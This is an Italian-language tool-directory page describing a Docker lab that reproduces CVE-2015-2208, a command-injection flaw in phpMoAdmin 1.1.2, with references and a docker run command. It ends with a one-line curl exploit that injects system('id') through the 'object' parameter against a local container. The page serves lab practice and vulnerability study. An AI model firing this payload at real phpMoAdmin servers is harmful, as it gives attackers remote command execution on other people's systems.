Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2015-2208 — Docker che simula la vulnerabilità cve-2015-2208 | Kitploit
Strumenti/GitHubGitHub/ptantiku/cve-2015-2208
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubptantiku/cve-2015-2208

cve-2015-2208

Docker che simula la vulnerabilità cve-2015-2208

Vedi Repository
211 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

#Dockerfile per simulare l'ambiente per CVE-2015-2208#

La funzione saveObject in moadmin.php in phpMoAdmin 1.1.2 consente ad attaccanti remoti di eseguire comandi arbitrari tramite metacaratteri di shell nel parametro object.

Scoperto da: @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio

Riferimenti:

  • http://seclists.org/fulldisclosure/2015/Mar/19
  • http://www.exploit-db.com/exploits/36251/
  • https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2208

##Ambiente di test##

root@kitploit:~
sudo docker run -d -p 8888:80 ptantiku/cve-2015-2208

##Exploit##

root@kitploit:~
curl http://localhost:8888/moadmin.php -d 'object=1;system("id");'
Scarica lo strumento